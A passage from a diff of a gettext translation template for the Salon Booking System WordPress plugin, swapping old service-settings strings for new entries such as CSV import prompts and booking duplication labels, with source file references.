build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:29\n-msgid \"Concurrent capacity (how many customers can book at the same time)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23\n+msgid \"Download our add-ons for free\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:51\n-msgid \"Variable duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:157\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:193\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:157\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:193\n+msgid \"Download sample CSV file\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:52\n-msgid \"Allow customers to select multiple duration units\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FForm.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:285\n+msgid \"Drag and drop files here\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:59\n-msgid \"Max duration units\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:140\n+msgid \"Drag your csv file here to import your “Assistants”\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:60\n-msgid \"Maximum number of units a single customer can select\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:174\n+msgid \"Drag your csv file here to import your “Bookings”\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:74\n-msgid \"Max duration multiplier per customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:67\n+msgid \"Drag your csv file here to import your “Customers”\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:81, src\u002FSLN\u002FPostType\u002FService.php:155, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:155, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:155, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:155, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:155, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:155\n-msgid \"Secondary\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:103\n+msgid \"Drag your csv file here to import “Services”\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:82\n-msgid \"Select this if you want this service considered as secondary level service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:98\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:98\n+msgid \"Drop your logo here\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:88, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:88, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:88\n-msgid \"Exclusive service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:368\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:368\n+msgid \"Drug the slider to set the break position\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:89, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:89\n-msgid \"If enabled, when a customer choose this service no other services can be booked during the same reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:84\n+msgid \"Due\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:94, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:94, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:94\n-msgid \"Hide on front-end\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56\n+msgid \"Duplicate\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:95\n-msgid \"If enabled this service will never be displayed on front-end\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:425\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:425\n+msgid \"Duplicate booking\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:100\n-msgid \"Display if\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:426\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:426\n+msgid \"Duplicate booking (Pro feature)\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:104\n-msgid \"always\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55\n+msgid \"Duplicate this item\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:105\n-msgid \"belong to the same category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:429\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:646\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:147\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:429\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:646\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:147\n+msgid \"Duration\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:106\n-msgid \"is child of selected service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256\n+msgid \"Duration time equale:\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:115, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:115, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:115\n-msgid \"Select parent services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36\n+msgid \"Dynamic pricing\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36\n+#: 